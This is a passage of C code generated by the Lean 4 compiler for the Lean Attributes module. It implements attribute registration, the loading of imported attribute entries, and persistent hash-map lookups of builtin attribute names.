uint8_t x_38; lean_object* x_39; lean_object* x_40; lean_object* x_41; lean_object* x_42; lean_object* x_43; lean_object* x_44;
lean_dec(x_16);
lean_dec(x_15);
lean_dec(x_14);
lean_dec(x_1);
x_38 = 1;
x_39 = l_Lean_Name_toString(x_3, x_38);
x_40 = l_Lean_mkAttributeImplOfConstantUnsafe___closed__2;
x_41 = lean_string_append(x_40, x_39);
lean_dec(x_39);
x_42 = l_Lean_mkAttributeImplOfConstantUnsafe___closed__3;
x_43 = lean_string_append(x_41, x_42);
x_44 = lean_alloc_ctor(0, 1, 0);
lean_ctor_set(x_44, 0, x_43);
return x_44;
}
}
else
{
uint8_t x_45; lean_object* x_46; lean_object* x_47; lean_object* x_48; lean_object* x_49; lean_object* x_50; lean_object* x_51;
lean_dec(x_15);
lean_dec(x_14);
lean_dec(x_1);
x_45 = 1;
x_46 = l_Lean_Name_toString(x_3, x_45);
x_47 = l_Lean_mkAttributeImplOfConstantUnsafe___closed__2;
x_48 = lean_string_append(x_47, x_46);
lean_dec(x_46);
x_49 = l_Lean_mkAttributeImplOfConstantUnsafe___closed__3;
x_50 = lean_string_append(x_48, x_49);
x_51 = lean_alloc_ctor(0, 1, 0);
lean_ctor_set(x_51, 0, x_50);
return x_51;
}
}
else
{
uint8_t x_52; lean_object* x_53; lean_object* x_54; lean_object* x_55; lean_object* x_56; lean_object* x_57; lean_object* x_58;
lean_dec(x_14);
lean_dec(x_1);
x_52 = 1;
x_53 = l_Lean_Name_toString(x_3, x_52);
x_54 = l_Lean_mkAttributeImplOfConstantUnsafe___closed__2;
x_55 = lean_string_append(x_54, x_53);
lean_dec(x_53);
x_56 = l_Lean_mkAttributeImplOfConstantUnsafe___closed__3;
x_57 = lean_string_append(x_55, x_56);
x_58 = lean_alloc_ctor(0, 1, 0);
lean_ctor_set(x_58, 0, x_57);
return x_58;
}
}
else
{
uint8_t x_59; lean_object* x_60; lean_object* x_61; lean_object* x_62; lean_object* x_63; lean_object* x_64; lean_object* x_65;
lean_dec(x_13);
lean_dec(x_1);
x_59 = 1;
x_60 = l_Lean_Name_toString(x_3, x_59);
x_61 = l_Lean_mkAttributeImplOfConstantUnsafe___closed__2;
x_62 = lean_string_append(x_61, x_60);
lean_dec(x_60);
x_63 = l_Lean_mkAttributeImplOfConstantUnsafe___closed__3;
x_64 = lean_string_append(x_62, x_63);
x_65 = lean_alloc_ctor(0, 1, 0);
lean_ctor_set(x_65, 0, x_64);
return x_65;
}
}
}
}
LEAN_EXPORT lean_object* l_Lean_mkAttributeImplOfConstantUnsafe___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3) {
_start:
{
lean_object* x_4;
x_4 = l_Lean_mkAttributeImplOfConstantUnsafe(x_1, x_2, x_3);
lean_dec(x_2);
return x_4;
}
}
LEAN_EXPORT lean_object* l_Lean_mkAttributeImplOfEntry(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4) {
_start:
{
if (lean_obj_tag(x_3) == 0)
{
lean_object* x_5; lean_object* x_6; lean_object* x_7;
x_5 = lean_ctor_get(x_3, 0);
lean_inc(x_5);
lean_dec(x_3);
x_6 = l_Lean_mkAttributeImplOfConstantUnsafe(x_1, x_2, x_5);
x_7 = l_IO_ofExcept___at_Lean_mkAttributeImplOfBuilder___spec__3(x_6, x_4);
lean_dec(x_6);
return x_7;
}
else
{
lean_object* x_8; lean_object* x_9; lean_object* x_10; lean_object* x_11;
lean_dec(x_1);
x_8 = lean_ctor_get(x_3, 0);
lean_inc(x_8);
x_9 = lean_ctor_get(x_3, 1);
lean_inc(x_9);
x_10 = lean_ctor_get(x_3, 2);
lean_inc(x_10);
lean_dec(x_3);
x_11 = l_Lean_mkAttributeImplOfBuilder(x_8, x_9, x_10, x_4);
return x_11;
}
}
}
LEAN_EXPORT lean_object* l_Lean_mkAttributeImplOfEntry___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4) {
_start:
{
lean_object* x_5;
x_5 = l_Lean_mkAttributeImplOfEntry(x_1, x_2, x_3, x_4);
lean_dec(x_2);
return x_5;
}
}
LEAN_EXPORT lean_object* l_Array_foldlMUnsafe_fold___at___private_Lean_Attributes_0__Lean_AttributeExtension_addImported___spec__1(lean_object* x_1, lean_object* x_2, size_t x_3, size_t x_4, lean_object* x_5, lean_object* x_6, lean_object* x_7) {
_start:
{
uint8_t x_8;
x_8 = lean_usize_dec_eq(x_3, x_4);
if (x_8 == 0)
{
lean_object* x_9; lean_object* x_10; lean_object* x_11; lean_object* x_12;
x_9 = lean_array_uget(x_2, x_3);
x_10 = lean_ctor_get(x_1, 0);
lean_inc(x_10);
x_11 = lean_ctor_get(x_1, 1);
lean_inc(x_11);
x_12 = l_Lean_mkAttributeImplOfEntry(x_10, x_11, x_9, x_7);
lean_dec(x_11);
if (lean_obj_tag(x_12) == 0)
{
lean_object* x_13; lean_object* x_14; lean_object* x_15; lean_object* x_16; lean_object* x_17; size_t x_18; size_t x_19;
x_13 = lean_ctor_get(x_12, 0);
lean_inc(x_13);
x_14 = lean_ctor_get(x_12, 1);
lean_inc(x_14);
lean_dec(x_12);
x_15 = lean_ctor_get(x_13, 0);
lean_inc(x_15);
x_16 = lean_ctor_get(x_15, 1);
lean_inc(x_16);
lean_dec(x_15);
x_17 = l_Lean_PersistentHashMap_insert___at_Lean_registerBuiltinAttribute___spec__1(x_5, x_16, x_13);
x_18 = 1;
x_19 = lean_usize_add(x_3, x_18);
x_3 = x_19;
x_5 = x_17;
x_7 = x_14;
goto _start;
}
else
{
uint8_t x_21;
lean_dec(x_5);
lean_dec(x_1);
x_21 = !lean_is_exclusive(x_12);
if (x_21 == 0)
{
return x_12;
}
else
{
lean_object* x_22; lean_object* x_23; lean_object* x_24;
x_22 = lean_ctor_get(x_12, 0);
x_23 = lean_ctor_get(x_12, 1);
lean_inc(x_23);
lean_inc(x_22);
lean_dec(x_12);
x_24 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_24, 0, x_22);
lean_ctor_set(x_24, 1, x_23);
return x_24;
}
}
}
else
{
lean_object* x_25;
lean_dec(x_1);
x_25 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_25, 0, x_5);
lean_ctor_set(x_25, 1, x_7);
return x_25;
}
}
}
LEAN_EXPORT lean_object* l_Array_foldlMUnsafe_fold___at___private_Lean_Attributes_0__Lean_AttributeExtension_addImported___spec__2(lean_object* x_1, lean_object* x_2, size_t x_3, size_t x_4, lean_object* x_5, lean_object* x_6, lean_object* x_7) {
_start:
{
uint8_t x_8;
x_8 = lean_usize_dec_eq(x_3, x_4);
if (x_8 == 0)
{
lean_object* x_9; lean_object* x_10; lean_object* x_11; uint8_t x_12;
x_9 = lean_array_uget(x_2, x_3);
x_10 = lean_array_get_size(x_9);
x_11 = lean_unsigned_to_nat(0u);
x_12 = lean_nat_dec_lt(x_11, x_10);
if (x_12 == 0)
{
size_t x_13; size_t x_14;
lean_dec(x_10);
lean_dec(x_9);
x_13 = 1;
x_14 = lean_usize_add(x_3, x_13);
x_3 = x_14;
goto _start;
}
else
{
uint8_t x_16;
x_16 = lean_nat_dec_le(x_10, x_10);
if (x_16 == 0)
{
size_t x_17; size_t x_18;
lean_dec(x_10);
lean_dec(x_9);
x_17 = 1;
x_18 = lean_usize_add(x_3, x_17);
x_3 = x_18;
goto _start;
}
else
{
size_t x_20; size_t x_21; lean_object* x_22;
x_20 = 0;
x_21 = lean_usize_of_nat(x_10);
lean_dec(x_10);
lean_inc(x_1);
x_22 = l_Array_foldlMUnsafe_fold___at___private_Lean_Attributes_0__Lean_AttributeExtension_addImported___spec__1(x_1, x_9, x_20, x_21, x_5, x_6, x_7);
lean_dec(x_9);
if (lean_obj_tag(x_22) == 0)
{
lean_object* x_23; lean_object* x_24; size_t x_25; size_t x_26;
x_23 = lean_ctor_get(x_22, 0);
lean_inc(x_23);
x_24 = lean_ctor_get(x_22, 1);
lean_inc(x_24);
lean_dec(x_22);
x_25 = 1;
x_26 = lean_usize_add(x_3, x_25);
x_3 = x_26;
x_5 = x_23;
x_7 = x_24;
goto _start;
}
else
{
uint8_t x_28;
lean_dec(x_1);
x_28 = !lean_is_exclusive(x_22);
if (x_28 == 0)
{
return x_22;
}
else
{
lean_object* x_29; lean_object* x_30; lean_object* x_31;
x_29 = lean_ctor_get(x_22, 0);
x_30 = lean_ctor_get(x_22, 1);
lean_inc(x_30);
lean_inc(x_29);
lean_dec(x_22);
x_31 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_31, 0, x_29);
lean_ctor_set(x_31, 1, x_30);
return x_31;
}
}
}
}
}
else
{
lean_object* x_32;
lean_dec(x_1);
x_32 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_32, 0, x_5);
lean_ctor_set(x_32, 1, x_7);
return x_32;
}
}
}
LEAN_EXPORT lean_object* l___private_Lean_Attributes_0__Lean_AttributeExtension_addImported(lean_object* x_1, lean_object* x_2, lean_object* x_3) {
_start:
{
lean_object* x_4; lean_object* x_5; uint8_t x_6;
x_4 = l_Lean_registerBuiltinAttribute___lambda__1___closed__1;
x_5 = lean_st_ref_get(x_4, x_3);
x_6 = !lean_is_exclusive(x_5);
if (x_6 == 0)
{
lean_object* x_7; lean_object* x_8; lean_object* x_9; lean_object* x_10; uint8_t x_11;
x_7 = lean_ctor_get(x_5, 0);
x_8 = lean_ctor_get(x_5, 1);
x_9 = lean_array_get_size(x_1);
x_10 = lean_unsigned_to_nat(0u);
x_11 = lean_nat_dec_lt(x_10, x_9);
if (x_11 == 0)
{
lean_object* x_12; lean_object* x_13;
lean_dec(x_9);
lean_dec(x_2);
x_12 = lean_box(0);
x_13 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_13, 0, x_12);
lean_ctor_set(x_13, 1, x_7);
lean_ctor_set(x_5, 0, x_13);
return x_5;
}
else
{
uint8_t x_14;
x_14 = lean_nat_dec_le(x_9, x_9);
if (x_14 == 0)
{
lean_object* x_15; lean_object* x_16;
lean_dec(x_9);
lean_dec(x_2);
x_15 = lean_box(0);
x_16 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_16, 0, x_15);
lean_ctor_set(x_16, 1, x_7);
lean_ctor_set(x_5, 0, x_16);
return x_5;
}
else
{
size_t x_17; size_t x_18; lean_object* x_19;
lean_free_object(x_5);
x_17 = 0;
x_18 = lean_usize_of_nat(x_9);
lean_dec(x_9);
lean_inc(x_2);
x_19 = l_Array_foldlMUnsafe_fold___at___private_Lean_Attributes_0__Lean_AttributeExtension_addImported___spec__2(x_2, x_1, x_17, x_18, x_7, x_2, x_8);
lean_dec(x_2);
if (lean_obj_tag(x_19) == 0)
{
uint8_t x_20;
x_20 = !lean_is_exclusive(x_19);
if (x_20 == 0)
{
lean_object* x_21; lean_object* x_22; lean_object* x_23;
x_21 = lean_ctor_get(x_19, 0);
x_22 = lean_box(0);
x_23 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_23, 0, x_22);
lean_ctor_set(x_23, 1, x_21);
lean_ctor_set(x_19, 0, x_23);
return x_19;
}
else
{
lean_object* x_24; lean_object* x_25; lean_object* x_26; lean_object* x_27; lean_object* x_28;
x_24 = lean_ctor_get(x_19, 0);
x_25 = lean_ctor_get(x_19, 1);
lean_inc(x_25);
lean_inc(x_24);
lean_dec(x_19);
x_26 = lean_box(0);
x_27 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_27, 0, x_26);
lean_ctor_set(x_27, 1, x_24);
x_28 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_28, 0, x_27);
lean_ctor_set(x_28, 1, x_25);
return x_28;
}
}
else
{
uint8_t x_29;
x_29 = !lean_is_exclusive(x_19);
if (x_29 == 0)
{
return x_19;
}
else
{
lean_object* x_30; lean_object* x_31; lean_object* x_32;
x_30 = lean_ctor_get(x_19, 0);
x_31 = lean_ctor_get(x_19, 1);
lean_inc(x_31);
lean_inc(x_30);
lean_dec(x_19);
x_32 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_32, 0, x_30);
lean_ctor_set(x_32, 1, x_31);
return x_32;
}
}
}
}
}
else
{
lean_object* x_33; lean_object* x_34; lean_object* x_35; lean_object* x_36; uint8_t x_37;
x_33 = lean_ctor_get(x_5, 0);
x_34 = lean_ctor_get(x_5, 1);
lean_inc(x_34);
lean_inc(x_33);
lean_dec(x_5);
x_35 = lean_array_get_size(x_1);
x_36 = lean_unsigned_to_nat(0u);
x_37 = lean_nat_dec_lt(x_36, x_35);
if (x_37 == 0)
{
lean_object* x_38; lean_object* x_39; lean_object* x_40;
lean_dec(x_35);
lean_dec(x_2);
x_38 = lean_box(0);
x_39 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_39, 0, x_38);
lean_ctor_set(x_39, 1, x_33);
x_40 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_40, 0, x_39);
lean_ctor_set(x_40, 1, x_34);
return x_40;
}
else
{
uint8_t x_41;
x_41 = lean_nat_dec_le(x_35, x_35);
if (x_41 == 0)
{
lean_object* x_42; lean_object* x_43; lean_object* x_44;
lean_dec(x_35);
lean_dec(x_2);
x_42 = lean_box(0);
x_43 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_43, 0, x_42);
lean_ctor_set(x_43, 1, x_33);
x_44 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_44, 0, x_43);
lean_ctor_set(x_44, 1, x_34);
return x_44;
}
else
{
size_t x_45; size_t x_46; lean_object* x_47;
x_45 = 0;
x_46 = lean_usize_of_nat(x_35);
lean_dec(x_35);
lean_inc(x_2);
x_47 = l_Array_foldlMUnsafe_fold___at___private_Lean_Attributes_0__Lean_AttributeExtension_addImported___spec__2(x_2, x_1, x_45, x_46, x_33, x_2, x_34);
lean_dec(x_2);
if (lean_obj_tag(x_47) == 0)
{
lean_object* x_48; lean_object* x_49; lean_object* x_50; lean_object* x_51; lean_object* x_52; lean_object* x_53;
x_48 = lean_ctor_get(x_47, 0);
lean_inc(x_48);
x_49 = lean_ctor_get(x_47, 1);
lean_inc(x_49);
if (lean_is_exclusive(x_47)) {
lean_ctor_release(x_47, 0);
lean_ctor_release(x_47, 1);
x_50 = x_47;
} else {
lean_dec_ref(x_47);
x_50 = lean_box(0);
}
x_51 = lean_box(0);
x_52 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_52, 0, x_51);
lean_ctor_set(x_52, 1, x_48);
if (lean_is_scalar(x_50)) {
x_53 = lean_alloc_ctor(0, 2, 0);
} else {
x_53 = x_50;
}
lean_ctor_set(x_53, 0, x_52);
lean_ctor_set(x_53, 1, x_49);
return x_53;
}
else
{
lean_object* x_54; lean_object* x_55; lean_object* x_56; lean_object* x_57;
x_54 = lean_ctor_get(x_47, 0);
lean_inc(x_54);
x_55 = lean_ctor_get(x_47, 1);
lean_inc(x_55);
if (lean_is_exclusive(x_47)) {
lean_ctor_release(x_47, 0);
lean_ctor_release(x_47, 1);
x_56 = x_47;
} else {
lean_dec_ref(x_47);
x_56 = lean_box(0);
}
if (lean_is_scalar(x_56)) {
x_57 = lean_alloc_ctor(1, 2, 0);
} else {
x_57 = x_56;
}
lean_ctor_set(x_57, 0, x_54);
lean_ctor_set(x_57, 1, x_55);
return x_57;
}
}
}
}
}
}
LEAN_EXPORT lean_object* l_Array_foldlMUnsafe_fold___at___private_Lean_Attributes_0__Lean_AttributeExtension_addImported___spec__1___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4, lean_object* x_5, lean_object* x_6, lean_object* x_7) {
_start:
{
size_t x_8; size_t x_9; lean_object* x_10;
x_8 = lean_unbox_usize(x_3);
lean_dec(x_3);
x_9 = lean_unbox_usize(x_4);
lean_dec(x_4);
x_10 = l_Array_foldlMUnsafe_fold___at___private_Lean_Attributes_0__Lean_AttributeExtension_addImported___spec__1(x_1, x_2, x_8, x_9, x_5, x_6, x_7);
lean_dec(x_6);
lean_dec(x_2);
return x_10;
}
}
LEAN_EXPORT lean_object* l_Array_foldlMUnsafe_fold___at___private_Lean_Attributes_0__Lean_AttributeExtension_addImported___spec__2___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4, lean_object* x_5, lean_object* x_6, lean_object* x_7) {
_start:
{
size_t x_8; size_t x_9; lean_object* x_10;
x_8 = lean_unbox_usize(x_3);
lean_dec(x_3);
x_9 = lean_unbox_usize(x_4);
lean_dec(x_4);
x_10 = l_Array_foldlMUnsafe_fold___at___private_Lean_Attributes_0__Lean_AttributeExtension_addImported___spec__2(x_1, x_2, x_8, x_9, x_5, x_6, x_7);
lean_dec(x_6);
lean_dec(x_2);
return x_10;
}
}
LEAN_EXPORT lean_object* l___private_Lean_Attributes_0__Lean_AttributeExtension_addImported___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3) {
_start:
{
lean_object* x_4;
x_4 = l___private_Lean_Attributes_0__Lean_AttributeExtension_addImported(x_1, x_2, x_3);
lean_dec(x_1);
return x_4;
}
}
LEAN_EXPORT lean_object* l___private_Lean_Attributes_0__Lean_addAttrEntry(lean_object* x_1, lean_object* x_2) {
_start:
{
lean_object* x_3; lean_object* x_4; lean_object* x_5; lean_object* x_6; lean_object* x_7; lean_object* x_8; lean_object* x_9; lean_object* x_10; lean_object* x_11;
x_3 = lean_ctor_get(x_2, 0);
lean_inc(x_3);
x_4 = lean_ctor_get(x_2, 1);
lean_inc(x_4);
lean_dec(x_2);
x_5 = lean_ctor_get(x_1, 0);
lean_inc(x_5);
x_6 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_6, 0, x_3);
lean_ctor_set(x_6, 1, x_5);
x_7 = lean_ctor_get(x_1, 1);
lean_inc(x_7);
lean_dec(x_1);
x_8 = lean_ctor_get(x_4, 0);
lean_inc(x_8);
x_9 = lean_ctor_get(x_8, 1);
lean_inc(x_9);
lean_dec(x_8);
x_10 = l_Lean_PersistentHashMap_insert___at_Lean_registerBuiltinAttribute___spec__1(x_7, x_9, x_4);
x_11 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_11, 0, x_6);
lean_ctor_set(x_11, 1, x_10);
return x_11;
}
}
LEAN_EXPORT lean_object* l_Lean_initFn____x40_Lean_Attributes___hyg_4552____lambda__1(lean_object* x_1) {
_start:
{
lean_object* x_2; lean_object* x_3; lean_object* x_4; lean_object* x_5; lean_object* x_6;
x_2 = lean_ctor_get(x_1, 0);
lean_inc(x_2);
lean_dec(x_1);
x_3 = l_List_reverse___rarg(x_2);
x_4 = l_List_redLength___rarg(x_3);
x_5 = lean_mk_empty_array_with_capacity(x_4);
lean_dec(x_4);
x_6 = l_List_toArrayAux___rarg(x_3, x_5);
return x_6;
}
}
LEAN_EXPORT lean_object* l_Lean_initFn____x40_Lean_Attributes___hyg_4552____lambda__2(lean_object* x_1) {
_start:
{
lean_object* x_2; lean_object* x_3; lean_object* x_4; lean_object* x_5; lean_object* x_6; lean_object* x_7; lean_object* x_8;
x_2 = lean_ctor_get(x_1, 0);
x_3 = lean_unsigned_to_nat(0u);
x_4 = l_List_lengthTRAux___rarg(x_2, x_3);
x_5 = l_Nat_repr(x_4);
x_6 = lean_alloc_ctor(3, 1, 0);
lean_ctor_set(x_6, 0, x_5);
x_7 = l_Lean_registerTagAttribute___lambda__4___closed__5;
x_8 = lean_alloc_ctor(5, 2, 0);
lean_ctor_set(x_8, 0, x_7);
lean_ctor_set(x_8, 1, x_6);
return x_8;
}
}
static lean_object* _init_l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__1() {
_start:
{
lean_object* x_1;
x_1 = lean_mk_string_from_bytes("attributeExtension", 18);
return x_1;
}
}
static lean_object* _init_l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__2() {
_start:
{
lean_object* x_1; lean_object* x_2; lean_object* x_3;
x_1 = l___auto____x40_Lean_Attributes___hyg_266____closed__1;
x_2 = l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__1;
x_3 = l_Lean_Name_mkStr2(x_1, x_2);
return x_3;
}
}
static lean_object* _init_l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__3() {
_start:
{
lean_object* x_1;
x_1 = lean_alloc_closure((void*)(l___private_Lean_Attributes_0__Lean_AttributeExtension_mkInitial), 1, 0);
return x_1;
}
}
static lean_object* _init_l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__4() {
_start:
{
lean_object* x_1;
x_1 = lean_alloc_closure((void*)(l___private_Lean_Attributes_0__Lean_AttributeExtension_addImported___boxed), 3, 0);
return x_1;
}
}
static lean_object* _init_l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__5() {
_start:
{
lean_object* x_1;
x_1 = lean_alloc_closure((void*)(l___private_Lean_Attributes_0__Lean_addAttrEntry), 2, 0);
return x_1;
}
}
static lean_object* _init_l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__6() {
_start:
{
lean_object* x_1;
x_1 = lean_alloc_closure((void*)(l_Lean_initFn____x40_Lean_Attributes___hyg_4552____lambda__1), 1, 0);
return x_1;
}
}
static lean_object* _init_l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__7() {
_start:
{
lean_object* x_1;
x_1 = lean_alloc_closure((void*)(l_Lean_initFn____x40_Lean_Attributes___hyg_4552____lambda__2___boxed), 1, 0);
return x_1;
}
}
static lean_object* _init_l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__8() {
_start:
{
lean_object* x_1; lean_object* x_2; lean_object* x_3; lean_object* x_4; lean_object* x_5; lean_object* x_6; lean_object* x_7;
x_1 = l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__2;
x_2 = l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__3;
x_3 = l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__4;
x_4 = l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__5;
x_5 = l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__6;
x_6 = l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__7;
x_7 = lean_alloc_ctor(0, 6, 0);
lean_ctor_set(x_7, 0, x_1);
lean_ctor_set(x_7, 1, x_2);
lean_ctor_set(x_7, 2, x_3);
lean_ctor_set(x_7, 3, x_4);
lean_ctor_set(x_7, 4, x_5);
lean_ctor_set(x_7, 5, x_6);
return x_7;
}
}
LEAN_EXPORT lean_object* l_Lean_initFn____x40_Lean_Attributes___hyg_4552_(lean_object* x_1) {
_start:
{
lean_object* x_2; lean_object* x_3;
x_2 = l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__8;
x_3 = l_Lean_registerPersistentEnvExtensionUnsafe___rarg(x_2, x_1);
return x_3;
}
}
LEAN_EXPORT lean_object* l_Lean_initFn____x40_Lean_Attributes___hyg_4552____lambda__2___boxed(lean_object* x_1) {
_start:
{
lean_object* x_2;
x_2 = l_Lean_initFn____x40_Lean_Attributes___hyg_4552____lambda__2(x_1);
lean_dec(x_1);
return x_2;
}
}
LEAN_EXPORT lean_object* lean_is_attribute(lean_object* x_1, lean_object* x_2) {
_start:
{
lean_object* x_3; lean_object* x_4; uint8_t x_5;
x_3 = l_Lean_registerBuiltinAttribute___lambda__1___closed__1;
x_4 = lean_st_ref_get(x_3, x_2);
x_5 = !lean_is_exclusive(x_4);
if (x_5 == 0)
{
lean_object* x_6; uint8_t x_7; lean_object* x_8;
x_6 = lean_ctor_get(x_4, 0);
x_7 = l_Lean_PersistentHashMap_contains___at_Lean_registerBuiltinAttribute___spec__5(x_6, x_1);
x_8 = lean_box(x_7);
lean_ctor_set(x_4, 0, x_8);
return x_4;
}
else
{
lean_object* x_9; lean_object* x_10; uint8_t x_11; lean_object* x_12; lean_object* x_13;
x_9 = lean_ctor_get(x_4, 0);
x_10 = lean_ctor_get(x_4, 1);
lean_inc(x_10);
lean_inc(x_9);
lean_dec(x_4);
x_11 = l_Lean_PersistentHashMap_contains___at_Lean_registerBuiltinAttribute___spec__5(x_9, x_1);
x_12 = lean_box(x_11);
x_13 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_13, 0, x_12);
lean_ctor_set(x_13, 1, x_10);
return x_13;
}
}
}
LEAN_EXPORT lean_object* l_Lean_PersistentHashMap_foldlM___at_Lean_getBuiltinAttributeNames___spec__1(lean_object* x_1, lean_object* x_2, lean_object* x_3) {
_start:
{
lean_object* x_4; lean_object* x_5;
x_4 = lean_ctor_get(x_1, 0);
lean_inc(x_4);
lean_dec(x_1);
x_5 = l_Lean_PersistentHashMap_foldlMAux___at_Lean_mkModuleData___spec__3___rarg(x_2, x_4, x_3);
return x_5;
}
}
LEAN_EXPORT lean_object* l_Lean_getBuiltinAttributeNames___lambda__1(lean_object* x_1, lean_object* x_2, lean_object* x_3) {
_start:
{
lean_object* x_4;
x_4 = lean_alloc_ctor(1, 2, 0);
lean_ctor_set(x_4, 0, x_2);
lean_ctor_set(x_4, 1, x_1);
return x_4;
}
}
static lean_object* _init_l_Lean_getBuiltinAttributeNames___closed__1() {
_start:
{
lean_object* x_1;
x_1 = lean_alloc_closure((void*)(l_Lean_getBuiltinAttributeNames___lambda__1___boxed), 3, 0);
return x_1;
}
}
LEAN_EXPORT lean_object* l_Lean_getBuiltinAttributeNames(lean_object* x_1) {
_start:
{
lean_object* x_2; lean_object* x_3; uint8_t x_4;
x_2 = l_Lean_registerBuiltinAttribute___lambda__1___closed__1;
x_3 = lean_st_ref_get(x_2, x_1);
x_4 = !lean_is_exclusive(x_3);
if (x_4 == 0)
{
lean_object* x_5; lean_object* x_6; lean_object* x_7; lean_object* x_8;
x_5 = lean_ctor_get(x_3, 0);
x_6 = lean_box(0);
x_7 = l_Lean_getBuiltinAttributeNames___closed__1;
x_8 = l_Lean_PersistentHashMap_foldlM___at_Lean_getBuiltinAttributeNames___spec__1(x_5, x_7, x_6);
lean_ctor_set(x_3, 0, x_8);
return x_3;
}
else
{
lean_object* x_9; lean_object* x_10; lean_object* x_11; lean_object* x_12; lean_object* x_13; lean_object* x_14;
x_9 = lean_ctor_get(x_3, 0);
x_10 = lean_ctor_get(x_3, 1);
lean_inc(x_10);
lean_inc(x_9);
lean_dec(x_3);
x_11 = lean_box(0);
x_12 = l_Lean_getBuiltinAttributeNames___closed__1;
x_13 = l_Lean_PersistentHashMap_foldlM___at_Lean_getBuiltinAttributeNames___spec__1(x_9, x_12, x_11);
x_14 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_14, 0, x_13);
lean_ctor_set(x_14, 1, x_10);
return x_14;
}
}
}
LEAN_EXPORT lean_object* l_Lean_getBuiltinAttributeNames___lambda__1___boxed(lean_object* x_1, lean_object* x_2, lean_object* x_3) {
_start:
{
lean_object* x_4;
x_4 = l_Lean_getBuiltinAttributeNames___lambda__1(x_1, x_2, x_3);
lean_dec(x_3);
return x_4;
}
}
LEAN_EXPORT lean_object* l_Lean_PersistentHashMap_findAtAux___at_Lean_getBuiltinAttributeImpl___spec__3(lean_object* x_1, lean_object* x_2, lean_object* x_3, lean_object* x_4, lean_object* x_5) {
_start:
{
lean_object* x_6; uint8_t x_7;
x_6 = lean_array_get_size(x_1);
x_7 = lean_nat_dec_lt(x_4, x_6);
lean_dec(x_6);
if (x_7 == 0)
{
lean_object* x_8;
lean_dec(x_4);
x_8 = lean_box(0);
return x_8;
}
else
{
lean_object* x_9; uint8_t x_10;
x_9 = lean_array_fget(x_1, x_4);
x_10 = lean_name_eq(x_5, x_9);
lean_dec(x_9);
if (x_10 == 0)
{
lean_object* x_11; lean_object* x_12;
x_11 = lean_unsigned_to_nat(1u);
x_12 = lean_nat_add(x_4, x_11);
lean_dec(x_4);
x_3 = lean_box(0);
x_4 = x_12;
goto _start;
}
else
{
lean_object* x_14; lean_object* x_15;
x_14 = lean_array_fget(x_2, x_4);
lean_dec(x_4);
x_15 = lean_alloc_ctor(1, 1, 0);
lean_ctor_set(x_15, 0, x_14);
return x_15;
}
}
}
}
LEAN_EXPORT lean_object* l_Lean_PersistentHashMap_findAux___at_Lean_getBuiltinAttributeImpl___spec__2(lean_object* x_1, size_t x_2, lean_object* x_3) {
_start:
{
if (lean_obj_tag(x_1) == 0)
{
lean_object* x_4; size_t x_5; size_t x_6; size_t x_7; lean_object* x_8; lean_object* x_9; lean_object* x_10;
x_4 = lean_ctor_get(x_1, 0);
lean_inc(x_4);
lean_dec(x_1);
x_5 = 5;
x_6 = l_Lean_PersistentHashMap_insertAux___at_Lean_registerBuiltinAttribute___spec__2___closed__2;
x_7 = lean_usize_land(x_2, x_6);
x_8 = lean_usize_to_nat(x_7);
x_9 = lean_box(2);
x_10 = lean_array_get(x_9, x_4, x_8);
lean_dec(x_8);
lean_dec(x_4);
switch (lean_obj_tag(x_10)) {
case 0:
{
lean_object* x_11; lean_object* x_12; uint8_t x_13;
x_11 = lean_ctor_get(x_10, 0);
lean_inc(x_11);
x_12 = lean_ctor_get(x_10, 1);
lean_inc(x_12);
lean_dec(x_10);
x_13 = lean_name_eq(x_3, x_11);
lean_dec(x_11);
if (x_13 == 0)
{
lean_object* x_14;
lean_dec(x_12);
x_14 = lean_box(0);
return x_14;
}
else
{
lean_object* x_15;
x_15 = lean_alloc_ctor(1, 1, 0);
lean_ctor_set(x_15, 0, x_12);
return x_15;
}
}
case 1:
{
lean_object* x_16; size_t x_17;
x_16 = lean_ctor_get(x_10, 0);
lean_inc(x_16);
lean_dec(x_10);
x_17 = lean_usize_shift_right(x_2, x_5);
x_1 = x_16;
x_2 = x_17;
goto _start;
}
default:
{
lean_object* x_19;
x_19 = lean_box(0);
return x_19;
}
}
}
else
{
lean_object* x_20; lean_object* x_21; lean_object* x_22; lean_object* x_23;
